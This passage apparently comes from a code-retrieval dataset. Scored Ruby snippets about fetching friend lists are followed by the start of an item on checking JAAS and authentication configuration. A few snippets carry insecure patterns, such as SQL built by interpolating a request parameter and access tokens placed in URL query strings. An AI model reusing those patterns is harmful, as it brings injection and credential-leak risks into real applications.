User.find(params[:id])\n @inverse_friend = @user.inverse_friends\n @friends = @user.friendships\n end", "title": "" }, { "docid": "646b4c52a11e9c644bb7665692b75844", "score": "0.7044772", "text": "def friends\n url = \"https://api.venmo.com/v1/users/\" + current_user.venmo_id + \"/friends?access_token=\" + current_user.auth_token + \"&limit=50\"\n\n request = Typhoeus.get(url)\n response = JSON.parse(request.response_body)\n\n render json: response\n end", "title": "" }, { "docid": "1bb43320970a39e0933bbd6566785682", "score": "0.70246357", "text": "def get_friends( params )\n LastFM.get( \"user.getFriends\", params )\n end", "title": "" }, { "docid": "4164b8ef9099fc73bbfe4fd9ed8bbc8a", "score": "0.7023", "text": "def friends(query={})\n perform_get('/statuses/friends.json', :query => query)\n end", "title": "" }, { "docid": "4164b8ef9099fc73bbfe4fd9ed8bbc8a", "score": "0.7023", "text": "def friends(query={})\n perform_get('/statuses/friends.json', :query => query)\n end", "title": "" }, { "docid": "9ec2d0d1eae7dc54acf1d51c160a8258", "score": "0.7018609", "text": "def show\n @user = User.where(first_name: params[:find_friend].split[0], last_name: params[:find_friend].split[1]).take if params[:find_friend]\n @user = User.find(params[:id]) if !params[:find_friend]\n\n if request.xhr?\n me = User.find(session[:user])\n #Create friendship unless it exists.\n friend_request = me.friendships.build(:friend_id => @user.id) unless me.friendships.where(friend_id: @user.id).take\n if friend_request.save\n #Friend added message.\n else\n #Friend not added message.\n end\n end\n end", "title": "" }, { "docid": "cbf7df501dfd7d4ea8f7ce6b35317319", "score": "0.69859165", "text": "def show\n @friend = Friend.find(params[:name])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend }\n end\n end", "title": "" }, { "docid": "beb8cc4425318b95f2202bd5cf6fd1ad", "score": "0.698083", "text": "def show\n @user = User.find(params[:id])\n\n # @fb_user = FbGraph::User.me(@user.access_token)\n # @fb_user = @fb_user.fetch\n # see users/show.html for the commented code on displaying friend list.\n # http://stackoverflow.com/questions/10824294/accessing-data-using-facebook-graph-api-in-fb-graph-rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @user }\n end\n end", "title": "" }, { "docid": "1e4930c5be5127f530c704b38c4a0449", "score": "0.69769377", "text": "def friends(args={})\n fetch(url(:\"friends\", args))\n end", "title": "" }, { "docid": "d3ce2f468307d864d95f37b37effefb9", "score": "0.69641924", "text": "def discover_friends(query={})\n self.class.get(\"/users/discover_friends.json\", :query => query)\n end", "title": "" }, { "docid": "e944541da378a51ba4cf62a13252257d", "score": "0.69585305", "text": "def show\n @friend_request = FriendRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend_request }\n end\n end", "title": "" }, { "docid": "e944541da378a51ba4cf62a13252257d", "score": "0.69585305", "text": "def show\n @friend_request = FriendRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend_request }\n end\n end", "title": "" }, { "docid": "e89a8471fd2c0478ac69224d312856e6", "score": "0.69333375", "text": "def friend_list()\n return self.get(\"/json/api/friend-list.php\")\n end", "title": "" }, { "docid": "74416b225c60066062cf88981216c00f", "score": "0.69323444", "text": "def show\n @friend_list = FriendList.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend_list }\n end\n end", "title": "" }, { "docid": "457002924cdb5eb72adb38a623dd16f6", "score": "0.6923439", "text": "def fetch_friends\n params = { relationship: 'friend', steamid: steam_id64 }\n\n friends_data = WebApi.json 'ISteamUser', 'GetFriendList', 1, params\n @friends = friends_data[:friendslist][:friends].map do |friend|\n SteamId.new(friend[:steamid].to_i, false)\n end\n end", "title": "" }, { "docid": "d020bdcad02cc48706c40e3bd8fa7a47", "score": "0.6918751", "text": "def show\n @friend_link = FriendLink.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @friend_link }\n end\n end", "title": "" }, { "docid": "5b95af972f1d6171e225978a42bc5f81", "score": "0.690857", "text": "def show\n @friend_request = FriendRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @friend_request }\n end\n end", "title": "" }, { "docid": "8f87ca334fb4765ab72c21dfc6ce3838", "score": "0.6907749", "text": "def friends(user_id = nil)\n if user_id\n url = '/users/' + user_id + '/friends'\n else\n url = '/users/self/friends'\n end\n response = get(url)\n response.friends.items\n end", "title": "" }, { "docid": "4e35cab1bc8b658bb2d516bd96ca4325", "score": "0.6902041", "text": "def index\n current_uri = request.env['PATH_INFO']\n url_parts = current_uri.split(\"/\")-[\"\"]\n uid = url_parts[1].to_i\n @user = User.find(uid)\n @friends = @user.friendships.all\n end", "title": "" }, { "docid": "a33227f8d9b9dee26d178e2198383a63", "score": "0.6899494", "text": "def friends\n requested_user\n logger.info \"user: #@user\"\n following = @user.following\n logger.info \"returned following: #{following}\"\n paged = following.paged(conditions)\n logger.info \"returned paged following: #{paged}\"\n @users = paged\n render_user_for_api(@users)\n end", "title": "" }, { "docid": "0f5986b44c461a7b7f8e4289746446f4", "score": "0.686394", "text": "def friend\n capture_user_id\n resp=self.class.post(\"/api/friend\", {:body => {:name => name, :container => user_id, :type => \"friend\", :uh => modhash}, :headers => base_headers, :debug_output => @debug })\n resp.code == 200\n end", "title": "" }, { "docid": "4796ae39441295bb259e3ab33e4ff18e", "score": "0.68634766", "text": "def search_friends\n authenticate_user!\n\n user = User.find params[:user_id]\n friends = user.search_friends_by_name params[:q]\n\n respond_to do |format|\n format.json { render json: friends.map! { |user| { id: user.id, name: user.name } } }\n end\n end", "title": "" }, { "docid": "4c205a774d527f391418eb215a04b99f", "score": "0.6861205", "text": "def index\n user = user_service.user_by_identifier(params[:user_id])\n event = nil\n\n if user\n case @scope\n when :all\n friends = user.friends\n when :mutual\n friends = user.mutual_friends(current_api_user)\n end\n\n friends = friends.for_term(params[:term]) if params[:term]\n\n if params[:event_id].present? && params[:forward].present?\n event = Event.active.find(params[:event_id])\n\n if event\n friends = friends.where.not(id: event.user_from_event_owner.id)\n friends = friends.where.not(id: event.attending_users)\n end\n end\n success_response(friends: friends.ordered_by_friendships.limit(limit).offset(offset).map {|user| user.cached(current_api_user, type: :public, event: event)})\n else\n error_response(I18n.t('api.responses.users.not_found'), Showoff::ResponseCodes::OBJECT_NOT_FOUND)\n end\n end", "title": "" }, { "docid": "df8d04b71313b4de6a143ad8db1e4ea1", "score": "0.6856096", "text": "def show\n @friendships = Friendship.where(user_id: @user).includes(:friend)\n @friended_by = @user.inverse_friends\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "75140f312b71fc74fb3ccacd4df65ec2", "score": "0.68544835", "text": "def show\n @itemfriend = Itemfriend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemfriend }\n end\n end", "title": "" }, { "docid": "79af9af67a645060f813f4fe23eaa3eb", "score": "0.68521714", "text": "def index\n render json: UserSerializer.new(current_user.friends,\n params: { current_user: current_user }).serialized_json, status: :ok\n end", "title": "" }, { "docid": "c95d8fcb09698a9bec5ed829e3928ba1", "score": "0.68489873", "text": "def index\n @user = current_user\n @friendships = @user.friendships\n @inverse_friendships = @user.inverse_friendships\n\n\tfriend_id_list = []\n\t@friendships.each do |friendship|\n\t friend_id_list << friendship.friend_id\n\tend\n @inverse_friendships.each do |friendship|\n\t friend_id_list << friendship.user_id\n\tend\n\tfriend_id_list = friend_id_list.uniq\n\n\t@friends_list = User.select('id, name').find(friend_id_list)\n respond_to do |format|\n\t if @friendships\n\t format.html \n\t\tformat.json { render json: @friends_list }\n\t else\n\t format.json { render json: { :error => 'GetFriendFailed' } }\n\t end\n\tend\n end", "title": "" }, { "docid": "e5f832096519f03d6e263bab223c824e", "score": "0.6844669", "text": "def showFriendsList\n @user=User.find(session[:user_id])\n \n render :json => @user.showFriends(session,@user.id)\n end", "title": "" }, { "docid": "19b4b0ea8b59601308b02b8e49b168eb", "score": "0.68397135", "text": "def dispatch_friend( friend )\n path = plugin.request.path\n get_json \"#{friend.url}#{path}\"\n end", "title": "" }, { "docid": "bc4eb4afd3f06b1e55948a322fdc6ae0", "score": "0.683927", "text": "def requested_friends\n @user = User.find(params[:user_id])\n @friends = @user.requested_friends\n @title = \"My Requested Friends\"\n render :template=>'friends/index'\n end", "title": "" }, { "docid": "16a7b1bd907577765bc9ffc5a6870b96", "score": "0.6838384", "text": "def friends\n return [] if oauth_token.blank?\n\n self.class.with_https \"#{API_HOST}me/friends?#{{ access_token: oauth_token }.to_param}\" do |uri, http|\n request = Net::HTTP::Get.new(uri.to_s)\n response = http.request(request)\n\n if (200...300).cover? response.code.to_i\n JSON.parse(response.body)['data']\n else\n update_attributes(oauth_token: nil) and []\n end\n end\n end", "title": "" }, { "docid": "1166756e9981175fe95c801b3c9dbf41", "score": "0.6824724", "text": "def friends\n \t@user = FacebookAccount.find_by_fb_id( current_user.identifier ).user\n\n @friends = @user.friends.where(\"facebook_accounts.user_id IS NOT NULL\")\n\n respond_to do |format|\n\t format.xml { render :xml => @friends.to_xml(:only => [ :user], :include => { :user => {:only => [ :name,:positionInGame]}}) }\n\t format.json { render :json => @friends.to_json(:only => [ :user], :include => { :user => {:only => [ :name,:positionInGame]}}) }\n end\n\n end", "title": "" }, { "docid": "21045f1a31fe80ffc27f3ca3bd6c0957", "score": "0.6811401", "text": "def friends *args\n hash = args_to_hash(args)\n hash[:username] = @username\n @api.request(\"users/friends/?#{build_query_string(hash)}\")\n end", "title": "" }, { "docid": "10963d85d466f0bc693ce5dd6cd74c9f", "score": "0.6799833", "text": "def friends\n friends_list=[]\n @user.friends.each { |id| friends_list << User.find(id) }\n render json: friends_list\n end", "title": "" }, { "docid": "5481768b6aac3889094f1fe97ca39f92", "score": "0.67824525", "text": "def friendship(user, friend)\n Friendship.where(\"user_id = ? and friend_id = ?\", user.id, friend.id).first\n end", "title": "" }, { "docid": "b27ff3c8f57d7f0d8184a0e0a92da479", "score": "0.6775983", "text": "def show\n render json: @friend\n end", "title": "" }, { "docid": "581313c4f215bee54f86d61ddcfdaa97", "score": "0.67660123", "text": "def api_get_friends(sc)\n\n url = URI.encode(\"https://api.vkontakte.ru/method/friends.get?uid=#{ sc.social_id }&access_token=#{ sc.token }\")\n\n puts url\n puts 'Get friends <+><+><+><+><+><+>'\n\n Vk_HTTP.request_api(url)\n\n end", "title": "" }, { "docid": "792e3c50ba39cea027edc1dd47ce5bc1", "score": "0.67567813", "text": "def show\n @friendship = current_user.friendships.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loop }\n end\n end", "title": "" }, { "docid": "28818360dec6ca6a5c0de3d0fd5ce682", "score": "0.67227775", "text": "def show\n id = params[:id].to_i\n id_a = Friendship.find(:all, :conditions => ['a = ? and status > 0', id])\n id_b = Friendship.find(:all, :conditions => ['b = ? and status > 0', id])\n ids = []\n id_a.each do |a|\n ids << a.b\n end\n id_b.each do |b|\n ids << b.a\n end\n @friends = User.find_all_by_id(ids)\n @they_are_friends = true if ids.include?(current_user.id.to_s)\n if id == current_user.id\n showToCurrent\n else\n showToAnother\n end\n @user = current_user\n end", "title": "" }, { "docid": "27048b753bd3a961aec594e68e76ffed", "score": "0.6721767", "text": "def show\n temp = Array.new\n\n UserFriend.where({UserID: params[:UserID]}).each do |pa|\n temp << pa.FriendID\n end \n render json: User.where(ID: temp)\n end", "title": "" }, { "docid": "a77dba4d40ee1e33cab3b588518a338e", "score": "0.6716134", "text": "def show\n\n\n @credit=Credit.find_all_by_friend_id(params[:id])\n @friend = Friend.find_by_id_and_user_id(params[:id],current_user.uid) #bugfix login olan herkes herkesin arkadasini goremez\n respond_to do |format|\n format.html\n format.json { render :json => @friend }\n end\n end", "title": "" }, { "docid": "c6452c65c4523b1c606112d178abac1a", "score": "0.6713439", "text": "def show\n @user = User.find(params[:id])\n \n @personas = @user.personas.paginate(page: params[:page])\n @games = @user.games.paginate(page: params[:page])\n @friends = @user.friends\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "cbb0924ba9a7769621a7e02edc7850d1", "score": "0.66968656", "text": "def match_friends\n me = User.find params[:id]\n respond_to do |format|\n format.json { \n friends = me.match_friends(params[:q]).collect { |friend| \n { id: friend.id.to_s, name: (friend.handle+\" (#{friend.email})\") }\n }\n render :json => friends\n }\n end\n end", "title": "" }, { "docid": "031a11c0a9bb84f5ca5698419f5fe78a", "score": "0.66962075", "text": "def index\n render json: @user.friends\n end", "title": "" }, { "docid": "a6e75691d1230dbf77e447f17df0644b", "score": "0.6694136", "text": "def show\n @friend_info = User.find(params[:id])\n @friend_records = MyRecord.where(\"user_id = #{params[:id]}\")\n end", "title": "" }, { "docid": "791957602e1ea494d4babf6aba84737f", "score": "0.66918933", "text": "def public\n @friend = User.find(params[:id])\n render :show\n end", "title": "" }, { "docid": "7e60a138c96e47a8970fd7abfd00d840", "score": "0.66896576", "text": "def show\n @user = User.find(params[:id])\n @friends = @user.friends\n @json = @user.friends.to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user }\n end\n end", "title": "" }, { "docid": "4601e5569ad72305cd3dacc8aa887196", "score": "0.6684587", "text": "def friend(user_id)\n friends.detect {|friend| friend.id == user_id}\n end", "title": "" }, { "docid": "82f3a6e061c2c72f72e9ef18f9afe3b3", "score": "0.6683379", "text": "def show\n @friend = Friend.find(params[:id])\n end", "title": "" }, { "docid": "05ed6ee726b0a0c46cabbd0eaadb153d", "score": "0.66807705", "text": "def friends(user=nil)\n self.twitagent.friends(user)\n rescue => err\n Rails.logger.info \"Failed to get friends via OAuth for #{current_user.inspect}\"\n flash[:error] = \"Twitter API failure (getting friends)\"\n return\n end", "title": "" }, { "docid": "ba4961bbb457c6d9174b55b3b6465994", "score": "0.66790736", "text": "def show\n if admin?\n if (params[:customer_id].present? and params[:smb_id].present?)\n @friend = @collection.find(params[:id])\n elsif (params[:customer_id].present? or params[:smb_id].present?)\n @friend = @selector.friends.find(params[:id])\n else\n @friend = Friend.find(params[:id])\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @friend }\n end\n else\n flash[:error] = \"Not Authorized\"\n redirect_to root_url\n end\n end", "title": "" }, { "docid": "8750c690508e5cb0b6823e01caf44635", "score": "0.6678213", "text": "def show\n respond_to do |format|\n format.html { redirect_to @friend }\n format.json\n end\n end", "title": "" }, { "docid": "797d07ba5f6fecb02fd1d8630fe21d53", "score": "0.667514", "text": "def show\n case params[:service] \n when \"get_me\"\n @user = session[:user]\n render :json => {:id => @user.id, :uid => @user.uid, :name => @user.name}.to_json \n return\n \n when \"get_my_friends\"\n @user = session[:user]\n graph = Koala::Facebook::API.new(@user.token)\n friends = graph.get_connections(\"me\", \"friends\")\n ret = friends.collect do |f|\n {\n :uid => f[\"id\"],\n :name => f[\"name\"]\n }\n end.to_json\n render :json => ret\n return\n\n end\n \n raise \"No Service #{service}\" \n end", "title": "" }, { "docid": "1f305f70cbaa06671b8add2768b684bf", "score": "0.66723543", "text": "def get_friendship(a, b)\r\n get(\"/friendships/show.json\", source_screen_name: a, target_screen_name: b)\r\n end", "title": "" }, { "docid": "1415df90c515711bfb5bd3a640536f9b", "score": "0.6657772", "text": "def friends(force=false, page=1, limit=50)\n get_response('user.getfriends', :friends, 'friends', 'user', {'user'=>@username, 'page'=>page.to_s, 'limit'=>limit.to_s}, force)\n end", "title": "" }, { "docid": "bc76f87e6da0a613397f3c00b79dc393", "score": "0.66566825", "text": "def show\n @my_friend = MyFriend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @my_friend }\n end\n end", "title": "" }, { "docid": "e1769da7f756996e1c376927dcbaa5e5", "score": "0.6656432", "text": "def get_friends\n\n requestor = params[:email]\n \n if requestor.nil?\n\n render json: {\n success: false,\n error: \"JSON input parameter is empty or invalid\"\n }, status: :unprocessable_entity\n\n else\n\n friends = Connection.where(:requestor => requestor).pluck(\"target\")\n render json: {\n success: friends.count > 0,\n friends: friends, \n count: friends.count\n }, status: :ok\n\n end\n\n end", "title": "" }, { "docid": "78ffc8b931dbd7b9e08731a86b0c84a0", "score": "0.66483545", "text": "def find_friends(&block)\n get(self.friends_url) do |response, json|\n self.friends = (json && json[:data]) || []\n if json.nil?\n show_privacy_alert(\"Friends\")\n end\n if block\n block.call self\n end\n end\n end", "title": "" }, { "docid": "0987b5815040bf005d6ab7f16013c100", "score": "0.6645107", "text": "def show\n\t\t@friend = Friend.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\tend\n\tend", "title": "" }, { "docid": "02d8b6da0514b29dff85d55b92f0865f", "score": "0.66404647", "text": "def friends_get\n begin\n session[:facebook_session].init_with_token(params[:auth_token])\n rescue RBook::FacebookSession::RemoteException => e\n flash[:error] = \"An exception occurred while trying to authenticate with Facebook: #{e}\"\n redirect_to :controller => 'profile', :action => 'show'\n return\n end\n \n begin\n #this is queued up, not taken immediately\n redirect_to :controller => 'profile', :action => 'show'\n \n uid = session[:facebook_session].session_uid\n \n current_user = User.find session[:user]\n \n #do we want to add \"AND is_app_user\"?\n myResponse = session[:facebook_session].fql_query({:query => \"SELECT first_name, last_name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1=#{uid})\"})\n \n (myResponse/\"//user\").each do |user|\n first_name = user.at(\"first_name\").inner_html\n last_name = user.at(\"last_name\").inner_html\n check_friends(current_user, first_name, last_name)\n end\n rescue RBook::FacebookSession::RemoteException => e\n flash[:error] = \"An exception occurred while trying to get friends from Facebook: #{e}\"\n end\n end", "title": "" }, { "docid": "b522e2c67c255476feb8c91a7b4b33d9", "score": "0.66303897", "text": "def all_friends\n u = User.find(params[:user_id])\n return render :status => 150, :json => {:message => \"User not found.\"} if u.nil?\n\n # Give each friendship a status (confirmed, pending-them, or pending-you)\n # Give each a user status (available, playdate, pending)\n friends = []\n u.allApprovedAndPendingFriendships.each do |friendship|\n # Friendship status\n if friendship.user_id == u.id\n friend_id = friendship.friend_id\n else\n friend_id = friendship.user_id\n end\n\n # Find the user\n begin\n friend = User.find(friend_id)\n rescue ActiveRecord::RecordNotFound => e\n # Delete friendship if friend is not found!\n friendship.destroy\n next\n end\n\n friendHash = friend.as_playmate(friendship)\n friends << friendHash\n end\n \n render :status=>200, :json=>{:friends => friends}\n end", "title": "" }, { "docid": "f092b9920beb75999fd035d497d22ab3", "score": "0.6614995", "text": "def show\n @restricted_friend = RestrictedFriend.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restricted_friend }\n end\n end", "title": "" }, { "docid": "c401344fd409ddf128ab73164b58c52b", "score": "0.6614178", "text": "def show\n\t\tredirect_to @logged_in_user.friends.find(params[:id])\n end", "title": "" } ]
8a0ceea5982f3022be00dacd742cfb14
Check for JAAS configuration
[ { "docid": "de3fc825e944d9bc2fc66db6a1ecae1f", "score": "0.6743634", "text": "def check_jaas_config(service)\n %w(client master).each do |type|\n next unless node[service].key?(\"#{type}_jaas\")\n %w(client server).each do |key| # These are JAAS keys, not files\n next unless node[service][\"#{type}_jaas\"].key?(key) &&\n node[service][\"#{type}_jaas\"][key].key?('usekeytab') &&\n node[service][\"#{type}_jaas\"][key]['usekeytab'].to_s == 'true'\n next unless node[service][\"#{type}_jaas\"][key]['keytab'].nil? ||\n node[service][\"#{type}_jaas\"][key]['principal'].nil?\n Chef::Application.fatal!(\"You must set node['#{service}']['#{type}_jaas']['#{key}']['keytab'] and node['#{service}']['#{type}_jaas']['#{key}']['principal'] with node['#{service}']['#{type}_jaas'][key]['usekeytab']\")\n end\n end\n end", "title": "" } ]
[ { "docid": "e1fa3e33e70ad44120d7a13ef55c94d7", "score": "0.69183725", "text": "def has_configuration?\n @config[:username] and @config[:password]\n end", "title": "" }, { "docid": "9b03352c85fa34c7fa6b324a034c4cb6", "score": "0.67062145", "text": "def check_auth(configuration)\n configuration.each do |c|\n if \"#{c[\"name\"]}\".match(/^Authentication\\ \\-.*$/) && \"#{c[\"value\"]}\".to_bool\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "82e0e5fde740a937e22094c7c1d415b3", "score": "0.64455855", "text": "def check(config)\n [ :host,\n :user,\n :pass,\n :name,\n ].all? {|key| config.has_key? key }\n end", "title": "" }, { "docid": "07374883533bad1683164091cf3b9990", "score": "0.6437114", "text": "def pam_authentication_enabled\n main = @shiro['main']\n main.select{ \n\t|r| r.value=='org.apache.zeppelin.realm.PamRealm'\n }.count > 0 ? true : false\n end", "title": "" }, { "docid": "07c03721827423c34b239e2c494d1e9a", "score": "0.629566", "text": "def check_conf\n ['user', 'pass', 'cookie'].map{|i|\n if not $CONF.keys.include?(i)\n aputs \"Configuration error: key #{i} not found\"\n exit 2\n end\n if not $CONF[i]\n aputs \"Configuration error: key #{i} is empty\"\n exit 2\n end\n }\n end", "title": "" }, { "docid": "ad0738010e1956bacaee75456ae19e1d", "score": "0.6210292", "text": "def check_config\n unless already_authed?\n say \"Please authenticate using `twittbot auth' first.\", :red\n raise 'Not authenticated'\n end\n end", "title": "" }, { "docid": "8c96d100280970b24493c9143bb6fdb1", "score": "0.605203", "text": "def authentication?\n APP_CONFIG[\"ldap\"][\"authentication\"] && APP_CONFIG[\"ldap\"][\"authentication\"][\"enabled\"]\n end", "title": "" }, { "docid": "67e18c235ec85206fd7861b6cd45db7f", "score": "0.59672236", "text": "def check_credentials\n raise \"Please set load_configuration with #{RightSignature2013::Connection.api_token_keys.join(',')} or #{RightSignature2013::Connection.oauth_keys.join(',')}\" unless has_api_token? || has_oauth_credentials?\n end", "title": "" }, { "docid": "85cec76537acb5f82265922073c01a3c", "score": "0.5953964", "text": "def authenticated?(config)\n config.has_key?(:username) && config.has_key?(:password)\n end", "title": "" }, { "docid": "ecac313c2371a370d26be74625b93bff", "score": "0.58668643", "text": "def verify\n response = script_mode do \n query(\"configshow | grep RBAC\")\n end \n response.data.match(/#{Replies::RBAC_DENIED}/) ? false : true\n end", "title": "" }, { "docid": "68c23ff62da7dac53d2f9c352059d044", "score": "0.5812987", "text": "def check_configuration!\n config.check!\n end", "title": "" }, { "docid": "597908c7f1c95c8b018d8d5fc17f5960", "score": "0.5811093", "text": "def check_configuration_options\r\n if ($project_name == \"\")\r\n\t raise 'Project name must be set' \r\n\tend\r\n\tif ($repo_key == \"\")\r\n raise 'Repository is required'\r\n end\r\n\tif ($target_repo_key == \"\")\r\n raise 'Target repository is required'\r\n\tend\r\n\tif ($username == \"\")\r\n raise 'Codeporting username must be provided'\r\n\tend\r\n\tif ($password == \"\")\r\n raise 'Codeporting password must be provided'\r\n\tend\r\n end", "title": "" }, { "docid": "7c937fc446289cdeae7adac770f3ed5e", "score": "0.5802195", "text": "def authentication_set?\n !@username.nil? && !@password.nil?\n end", "title": "" }, { "docid": "e9252f67ca0832f4420280a77592aae2", "score": "0.5792428", "text": "def check_sanity\n errors = []\n [:site, :uri, :user, :password, :confdir].each do |sym|\n if @config[sym].nil?# or @config[sym].empty?\n errors << \"Option '#{sym}' is required\"\n end\n end\n unless errors.empty?\n $stderr.puts 'ERROR: The following problems were detected:'\n errors.map { |e| $stderr.puts \" * #{e}\" }\n $stderr.puts \"\\nConfiguration options:\\n\"\n ap @config\n exit 1\n end\n end", "title": "" }, { "docid": "b45ee11356ef072312a03a47e7aaed76", "score": "0.577485", "text": "def auth_provided?\n !username.nil? && !password.nil?\n end", "title": "" }, { "docid": "34d6dfc4242c93da7c4335675eb19864", "score": "0.5744963", "text": "def valid_credentials?\n return false if Sailpoint.config.username.blank? && Sailpoint.config.password.blank?\n\n !Sailpoint.config.hashed_credentials.blank?\n end", "title": "" }, { "docid": "17b7bad0be5f21677054179563b5e798", "score": "0.5731509", "text": "def authentication?\n @capabilities and @capabilities.include? 'auth'\n end", "title": "" }, { "docid": "300e5e25e3b407acc027f467c8b16b6f", "score": "0.56977665", "text": "def configured?\n @config = load_config\n unless @config.nil?\n return unless priviledge_check\n @@options.each do |k,v|\n case resource[v]\n when true, :true, :enable, :enabled\n value = true\n when false, :false, :disable, :disabled, nil\n value = false\n else\n value = resource[v]\n end\n\t config = @config.to_ruby\n return false unless config[k].eql?(value) \n end\n else\n # Create a new configuration\n @config = NSMutableDictionary.new\n return unless priviledge_check\n end\n true\n end", "title": "" }, { "docid": "3fa1eb54adbb63d5b0ede2c6ffcbafe5", "score": "0.56894183", "text": "def should_authenticate?(env)\n @config['should_authenticate_check'] ? @config['should_authenticate_check'].call(env) : true\n end", "title": "" }, { "docid": "2ed48f98c2a074e3861cb506f4ffa262", "score": "0.56841236", "text": "def has_oauth_credentials?\n return false if @configuration.nil?\n RightSignature2013::Connection.oauth_keys.each do |key| \n return false if @configuration[key].nil? || @configuration[key].match(/^\\s*$/)\n end\n\n return true\n end", "title": "" }, { "docid": "d3eefb809e6d6f307ebe213d87393950", "score": "0.56551296", "text": "def verify_configuration\n return if has_configuration?\n\n @ui.setup do |config|\n @config.merge!(config)\n self.password = config[:password] if config.has_key? :password\n save_configuration\n end\n end", "title": "" }, { "docid": "2b3e9d36a8b98d7814ae794a85324ec1", "score": "0.5653145", "text": "def check_config_data(config)\n assert_equal(:CLIENTLOGIN, config.read('authentication.method'))\n assert_equal('ruby_test_suit',\n config.read('authentication.application_name'))\n assert_equal('mySecretPassword', config.read('authentication.password'))\n assert_equal('root@example.com', config.read('authentication.email'))\n assert_equal(1234567, config.read('authentication.network_code'))\n assert_equal(:SANDBOX, config.read('service.environment'))\n assert_nil(config.read('item.not.exists'))\n assert_equal(:default, config.read('item.not.exists', :default))\n end", "title": "" }, { "docid": "b39e661f2b28dc55473c46525b479086", "score": "0.565144", "text": "def check?\n # Check if the configuration path exists and is a file\n unless File.exists? @config_path\n puts \"#{@config_path} is not a valid path.\"\n return false\n end\n\n # Check if the configuration file is writable\n unless check_writable?\n puts \"The Apache configuration file (#{@config_path}) is not writable by the current user.\"\n return false\n end\n\n # Check if there is not already a virtual host defined with the same host name\n unless check_content? /^\\s*Include\\s+#{@target}$/i\n puts \"The target configuration file (#{@target}) is already being included by Apache.\"\n return false\n end\n\n # Success! :)\n return true\n end", "title": "" }, { "docid": "3b05b0a69cb7a1afca3087f7b153d6ec", "score": "0.5648473", "text": "def check_config\n %w(token).each do |param|\n (usage and return false) if Weechat.get_plugin_config(param).to_s.empty?\n end\n true\nend", "title": "" }, { "docid": "0eaba5e9882c3c30e31b67c3acc7c2db", "score": "0.56218976", "text": "def config_is_okay?\n if @cfg.keys != [:user]\n puts \"Top level key needs to be 'user'\"\n return false\n end\n\n if (@cfg[:user].keys <=> [:collections, :works]) < 1\n puts \"user can only contain collections and works\"\n return false\n end\n\n return true\n end", "title": "" }, { "docid": "f9a3795997164301a82d94f64d2e2fa9", "score": "0.55605215", "text": "def check_config_params\n unless params[:redirect_uri] =~ %r{\\Ahttps?://(rapportive\\.com|rapportive\\.jelzo\\.com|localhost)(:\\d+)?/raplets/} &&\n params[:response_type] == 'token' && params[:client_id] == 'rapportive'\n raise \"invalid configuration parameters\"\n end\n end", "title": "" }, { "docid": "d075e8d1aa68ee04b6f569c03fe1e7dc", "score": "0.555905", "text": "def check_environment\n load_rscribd\n check_config\n check_fields\n end", "title": "" }, { "docid": "f4d09dd1e41a123cc1e4639ff5c80a0f", "score": "0.5557518", "text": "def password?\n FileTest.exist? Puppet[:capass]\n end", "title": "" }, { "docid": "fd04b51c9fb40d901d928c9fb1dae90e", "score": "0.5545568", "text": "def verify_credentials!\n raise AuthenticationError.new(\"missing client code\") if Applitrack.client_code.nil? || Applitrack.client_code.empty?\n raise AuthenticationError.new(\"missing username\") if Applitrack.username.nil? || Applitrack.username.empty?\n raise AuthenticationError.new(\"missing password\") if Applitrack.password.nil? || Applitrack.password.empty?\n end", "title": "" }, { "docid": "6c8af82c476dbedcc5e4aae0333d7432", "score": "0.55340517", "text": "def needs_login?() false end", "title": "" }, { "docid": "224962888990f2f1f708565ecfd69ea3", "score": "0.55208474", "text": "def require_login?\n !(Jiralicious.username.empty? && Jiralicious.password.empty?) && !alive?\n end", "title": "" }, { "docid": "c6bca7ab141e50ee01b343e3b896c8e8", "score": "0.5519201", "text": "def username_password?\n @options[:username] &&\n @options[:password] &&\n @options[:client_id] &&\n @options[:client_secret]\n end", "title": "" }, { "docid": "7c8dd31895370476159ccbe9d614fcb5", "score": "0.5515112", "text": "def check_config(config_path)\n if File.exists?(config_path)\n check_config_format(config_path)\n return true\n else\n puts \"No configuration found. Please configure which apps to start in #{config_path}\"\n exit 1\n end\nend", "title": "" }, { "docid": "4e33fca21c59489901079a25242cb402", "score": "0.5497067", "text": "def check_admin\n ac = AdminConfigFile.new\n ac.read\n @admin = ac.exist?(@user_id)\n end", "title": "" }, { "docid": "2c0fa680b168742aca9ea7379970fbd4", "score": "0.54728127", "text": "def check_user_pass\n if @username.nil? || @password.nil?\n raise 'Jangosmtp username and password are required'\n end\n end", "title": "" }, { "docid": "cf9f2c713f37e3da9c917b2fd70fb31b", "score": "0.5461478", "text": "def sauce?\n !!(@user && @key && @host && @port)\n end", "title": "" }, { "docid": "32b6dae286ebbee81078f800dd68757d", "score": "0.5461182", "text": "def valid_environment?\n env['USER'] == config.user && env['HOME'] == config.home_path\n end", "title": "" }, { "docid": "d9a6d36a9353149037a4bc08f4fae686", "score": "0.54497236", "text": "def check_if_login_required\n false\n end", "title": "" }, { "docid": "7364848f7199ba9b0839c8dfc6add9e7", "score": "0.54397213", "text": "def check_auth_by_type(configuration, auth_type)\n configuration.each do |c|\n if \"#{c[\"name\"]}\" == auth_type && \"#{c[\"result\"]}\".to_bool\n return true\n end\n end\n false\n end", "title": "" }, { "docid": "b1863ec3a2e20a73887a0e2885b643ef", 